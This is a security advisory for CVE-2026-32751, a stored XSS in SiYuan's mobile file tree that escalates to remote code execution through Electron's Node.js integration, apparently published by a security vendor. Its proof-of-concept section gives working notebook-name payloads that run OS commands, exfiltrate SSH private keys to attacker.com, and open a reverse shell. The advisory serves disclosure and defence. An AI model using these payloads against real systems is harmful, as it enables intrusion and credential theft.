CVE-2026-32751 — kernel
Fix: siyuan-note/siyuan@f6d3510CVE-2026-32751 is a Cross-site Scripting (XSS) vulnerability in github.com/siyuan-note/siyuan/kernel. No vendor fix is recorded yet; mitigation options are listed below.
SiYuan Vulnerable to Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32751.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
github.com/siyuan-note/siyuan/kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface
Summary
SiYuan's mobile file tree (MobileFiles.ts) renders notebook names via innerHTML without HTML escaping when processing renamenotebook WebSocket events. The desktop version (Files.ts) properly uses escapeHtml() for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree.
Since Electron is configured with nodeIntegration: true and contextIsolation: false, the injected JavaScript has full Node.js access, escalating stored XSS to full remote code execution. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well.
Affected Component
- Vulnerable file:
app/src/mobile/dock/MobileFiles.ts:77 - Safe counterpart:
app/src/layout/dock/Files.ts:104(usesescapeHtml) - Backend (no escaping):
kernel/api/notebook.go:104-116(renameNotebook) - Electron config:
app/electron/main.js:422-426(nodeIntegration: true,contextIsolation: false) - Endpoint:
POST /api/notebook/renameNotebook(authenticated) - Version: SiYuan <= 3.5.9
Vulnerable Code
Mobile — no escaping (MobileFiles.ts:77)
case "renamenotebook":
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = data.data.name;
break;
Desktop — properly escaped (Files.ts:104)
case "renamenotebook":
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);
break;
Backend — sends unescaped name (notebook.go:104-116)
func renameNotebook(c *gin.Context) {
// ...
name := arg["name"].(string)
err := model.RenameBox(notebook, name)
// ...
evt := util.NewCmdResult("renamenotebook", 0, util.PushModeBroadcast)
evt.Data = map[string]interface{}{
"box": notebook,
"name": name, // Unescaped — sent directly to all clients
}
util.PushEvent(evt)
}
model.RenameBox() only validates length (512 chars max) and emptiness — no HTML sanitization.
Electron — Node.js in renderer (main.js:422-426)
webPreferences: {
nodeIntegration: true,
webviewTag: true,
webSecurity: false,
contextIsolation: false,
}
Any JavaScript executed via innerHTML has full access to require('child_process'), require('fs'), require('net'), etc.
Proof of Concept
Tested and confirmed on SiYuan v3.5.9 (Docker).
1. Set malicious notebook name (RCE payload)
POST /api/notebook/renameNotebook HTTP/1.1
Content-Type: application/json
Cookie: siyuan=<session>
{
"notebook": "<NOTEBOOK_ID>",
"name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
}
On Linux/macOS:
{
"notebook": "<NOTEBOOK_ID>",
"name": "<img src=x onerror=\"require('child_process').exec('id > /tmp/pwned')\">"
}
Confirmed: API accepts the name without escaping. The renamenotebook WebSocket event broadcasts the raw HTML to all connected clients.
2. Mobile client renders and executes
When any mobile client receives the renamenotebook event, MobileFiles.ts:77 sets innerHTML = data.data.name. The <img> tag's src=x fails to load, triggering onerror which calls require('child_process').exec() — arbitrary OS command execution.
3. Verified event content
# Unauthenticated WebSocket listener receives:
{
"cmd": "renamenotebook",
"data": {
"box": "20260309161535-do8qg95",
"name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
}
}
The HTML/JS payload is preserved verbatim in the WebSocket event.
4. Data exfiltration variant
{
"notebook": "<NOTEBOOK_ID>",
"name": "<img src=x onerror=\"fetch('https://attacker.com/exfil?k='+require('fs').readFileSync(require('os').homedir()+'/.ssh/id_rsa','utf8'))\">"
}
5. Reverse shell variant
{
"notebook": "<NOTEBOOK_ID>",
"name": "<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\\\"')\">"
}
Attack Scenario
- In a multi-user SiYuan deployment, an attacker with editor role renames a notebook with an RCE payload
- The
renamenotebookevent broadcasts the payload to ALL connected clients - Any user viewing the file tree on the mobile interface (or desktop in narrow/mobile layout) triggers the payload
nodeIntegration: truegives the injected JavaScript full OS access- Attacker achieves arbitrary command execution on the victim's machine
Persistence: The notebook name is stored in the notebook's .siyuan/conf.json. The payload re-triggers every time the file tree renders on mobile — it survives restarts.
Sync vector: If the workspace is synced (SiYuan Cloud Sync or S3), the malicious notebook name propagates to all synced devices automatically.
Impact
- Severity: CRITICAL (CVSS ~9.0)
- Type: CWE-79 (Improper Neutralization of Input During Web Page Generation)
- Full remote code execution on Electron desktop via
nodeIntegration: true - Stored XSS — notebook names persist across sessions and survive restarts
- Propagates via cloud sync to all synced devices
- Affects all mobile interface users and desktop users in mobile/narrow layout
- Inconsistent escaping — desktop is safe, mobile is not (indicates oversight)
- Can steal files, credentials, SSH keys, install backdoors, open reverse shells
Suggested Fix
1. Apply the same escaping used in the desktop version
// Before (vulnerable):
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = data.data.name;
// After (fixed):
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);
2. Sanitize notebook names on the backend
func RenameBox(boxID, name string) (err error) {
name = util.EscapeHTML(name) // Sanitize at the source
// ...
}
3. Long-term: Harden Electron configuration
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
sandbox: true,
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of github.com/siyuan-note/siyuan/kernel has shipped for CVE-2026-32751 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-32751 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-32751. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-32751 in your dependencies?
O3 Security finds CVE-2026-32751 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.